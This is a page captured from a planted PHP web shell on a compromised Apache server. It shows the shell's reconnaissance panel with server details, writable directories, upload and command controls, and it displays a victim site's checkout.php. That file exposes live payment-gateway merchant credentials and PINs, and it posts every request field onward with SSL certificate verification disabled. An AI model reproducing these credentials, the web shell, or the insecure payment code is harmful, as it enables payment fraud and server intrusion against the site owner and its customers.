403Webshell
Server IP : 103.234.187.230  /  Your IP : 216.73.216.216
Web Server : Apache
System : Linux lserver42043-ind.megavelocity.net 3.10.0-1160.108.1.el7.x86_64 #1 SMP Thu Jan 25 16:17:31 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/b2bzend/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/b2bzend/checkout.php
<?php

$merchantID = "620660"; //Converge 6 or 7-Digit Account ID *Not the 10-Digit Elavon Merchant ID*
$merchantUserID = "atgwebuser"; //Converge User ID *MUST FLAG AS HOSTED API USER IN CONVERGE UI*
//$merchantPIN = "QSKQRANYYE1SUQJ216IO3G1N5DWYP29BSKI7OGOWEY5C3RP27PQ3V9JV5HPGCWAQ"; //Converge PIN (64 CHAR A/N)
$merchantPIN = "T6EGAH6901LFHK8WF5KYI0Z644WANQ9IYEVG8KUN72HH2O7NNZUXVVEXBBQY7FSZ";

//Uncomment the endpoint desired.
//Production URL
$url = 'https://www.myvirtualmerchant.com/VirtualMerchant/process.do';
//Demo URL
//$url = 'https://demo.myvirtualmerchant.com/VirtualMerchantDemo/process.do';
//$url = 'https://api.myvirtualmerchant.com/VirtualMerchant/process.do';
//Configuration parameters.
$ssl_merchant_id = $merchantID;
$ssl_user_id = $merchantUserID;
$ssl_pin = $merchantPIN;
$ssl_show_form = 'true';
$ssl_result_format = 'HTML';
$ssl_test_mode = 'false';
$ssl_receipt_link_method = 'REDG';
$ssl_receipt_link_url = 'http://atgtours.com/elavon.php';
$ssl_transaction_type = 'CCSALE';
$ssl_cvv2cvc2_indicator = '1';
//Declares base URL in the event that you are using the VM payment form.
if ($ssl_show_form == 'true') {
    echo "<html><head><base href='" . $url .
    "'></base></head>";
}
//Dynamically builds POST request based on the information beingpassed into the script.
$queryString = "";
foreach ($_REQUEST as $key => $value) {
    if ($queryString != "") {
        $queryString .= "&";
    }
    $queryString .= $key . "=" . urlencode($value);
}
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $queryString .
        "&ssl_merchant_id=$ssl_merchant_id" .
        "&ssl_user_id=$ssl_user_id" .
        "&ssl_pin=$ssl_pin" .
        "&ssl_transaction_type=$ssl_transaction_type" .
        "&ssl_amount=5000" .
        "&ssl_cvv2cvc2_indicator=$ssl_cvv2cvc2_indicator" .
        "&ssl_show_form=$ssl_show_form" .
        "&ssl_result_format=$ssl_result_format" .
        "&ssl_test_mode=$ssl_test_mode" .
        "&ssl_receipt_link_method=$ssl_receipt_link_method" .
        "&ssl_receipt_link_url=$ssl_receipt_link_url");
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
curl_setopt($ch, CURLOPT_VERBOSE, true);
$result = curl_exec($ch);
curl_close($ch);
?>

Youez - 2016 - github.com/yon3zu
LinuXploit